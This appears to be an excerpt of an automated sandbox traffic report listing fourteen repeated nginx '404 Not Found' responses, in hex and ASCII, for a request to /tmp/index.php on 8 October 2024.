Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:29 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:32 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:36 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:37 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:39 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:39 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:39 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:41 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:42 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:43 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:45 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:47 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:48 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 16:23:48 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
